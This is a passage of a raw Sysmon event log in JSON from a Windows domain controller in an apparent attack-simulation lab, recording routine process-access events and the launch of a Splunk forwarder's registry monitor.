3dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6217,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:39.744\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:39.744","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6218,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:39.744\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:39.744","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6219,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:39.744\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:39.744","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6220,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:39.744\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:39.744","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6221,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:39.744\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:39.744","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6222,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:39.744\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-422B-5F2D-0000-0010631F0900}\r\nTargetProcessId: 4768\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:39.744","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-422B-5F2D-0000-0010631F0900}","TargetProcessId":"4768","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6223,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:39.885\r\nSourceProcessGUID: {90617006-422B-5F2D-0000-0010631F0900}\r\nSourceProcessId: 4768\r\nSourceThreadId: 2928\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:39.885","SourceProcessGUID":"{90617006-422B-5F2D-0000-0010631F0900}","SourceProcessId":"4768","SourceThreadId":"2928","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6224,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.417\r\nProcessGuid: {90617006-422C-5F2D-0000-00103A210900}\r\nProcessId: 1600\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Registry monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-regmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.417","ProcessGuid":"{90617006-422C-5F2D-0000-00103A210900}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","FileVersion":"8.0.2","Description":"Registry monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-regmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6225,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.416\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-00103A210900}\r\nTargetProcessId: 1600\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program 